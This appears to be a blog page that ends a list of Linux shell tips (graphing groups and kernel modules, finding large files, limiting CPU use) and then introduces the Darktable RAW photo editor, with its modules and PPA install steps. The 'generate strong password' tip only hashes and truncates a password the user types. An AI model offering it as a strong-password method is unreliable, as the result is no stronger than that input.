• awk 'BEGIN{FS=":"; print "digraph{"}{split($4, a, ","); for (i in a) printf "\"%s\" [shape=box]\n\"%s\" -> \"%s\"\n", $1, a[i], $1}END{print "}"}' /etc/group|display

8. Draw kernel module dependency graph

• lsmod | perl -e 'print "digraph \"lsmod\" {";<>;while(<>){@_=split/\s+/; print "\"$_[0]\" -> \"$_\"\n" for split/,/,$_[3]}print "}"' | dot -Tpng | display -

9. Generate strong password

• read -s pass; echo $pass | md5sum | base64 | cut -c -16

10. Find all files larger than 500M and less than 1GB

• find / -type f -size +500M -size -1G

11. Limit the cpu usage of a process

• sudo cpulimit -p pid -l 50

via: Unixmen

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Darktable : Open Source/Free Adobe Lightroom for Ubuntu

Darktable is an open source photography workflow application and RAW developer. A virtual lighttable and darkroom for photographers. 

Darktable is an Open Source application that's equal to Adobe Lightroom, this is an other interesting FOSS project that focus on Graphic processing which ability to develop (process) raw images and enhance them. Darktable interface is really good and easy to understand besides of it's contain of many production tool (image operation, white balance, exposure control, tone mapping), plugin and effect which can use it.

This application is fully safe for a beginner, all editing process is fully non-destructive and only operates on cached image buffers for display. The full image is only converted during export.

Darktable Features
Currently darktable version provider a 38 image operation plugins, besides of some features that I've mention above, here list of Plugins and effect that can use taken from its website :

Color image operations:

• overexposed: This module is a useful feature that displays pixels outside dynamic range.
• velvia: The velvia module enhances the saturation in the image; it increases saturation on lower saturated pixels more than on high saturated pixels.
• channel mixer: This module is a powerful tool to manage channels. As entry, it manipulates red, green and blue channels. As output, it uses red, green, blue or gray or hue, saturation, lightness.
• color contrast
• color correction: This module can be used to modify the global saturation or to give a tint.
• color zones: This module allows to selectively modify the colors in your image. It is highly versatile and allows every transformation possible in the LCh colorspace.

Effects/artistic image post processing:

• framing: This module allows you to add an artistic frame around an image.
• split toning: Original split toning method creates a two color linear toning effect where the shadows and highlights are represented by two different colors. darktable split toning module is more complex and offers more parameters to tweak the result.
• vignetting: This module is an artistic feature which creates vignetting (modification of the brightness/saturation at the borders).
• watermark: The watermark module provides a way to render a vector-based overlay onto your image. Watermarks are standard SVG documents and can be designed using Inkscape. The SVG processor of darktable also substitutes strings within the SVG document which gives the opportunity to include image-dependent information in the watermark such as aperture, exposure time and other metadata.
• soften: This module is an artistic feature that creates the Orton effect also commonly known as softening the image. Michael Orton achieved such result on slide film by using 2 exposures of the same scene: one well exposed and one overexposed; then he used a technique to blend those into a final image where the overexposed image was blurred.
• grain: This module is an artistic feature which simulates the grain of a film.
• highpass: This module acts as highpass filter.

find more information about darktable feature here

Install darktable in Ubuntu
How to install darktable is simply easy, Darktable has available in PPA so you can install trought it, do as follows :

• sudo apt-add-repository ppa:pmjdebruijn/darktable-release-plus
• apt-get install darktable exiv2

Darktable in action

Comparison : Darktable an Adobe Lightroom
Actually, I have never compare it directly, but someone in youtube has a brief explanation regarding to it, see following video to see the comparison of Darktable and Adobe lightroom to do such RAW photo editing. (this video is taken from youtube that's belong to TutorialGeek )

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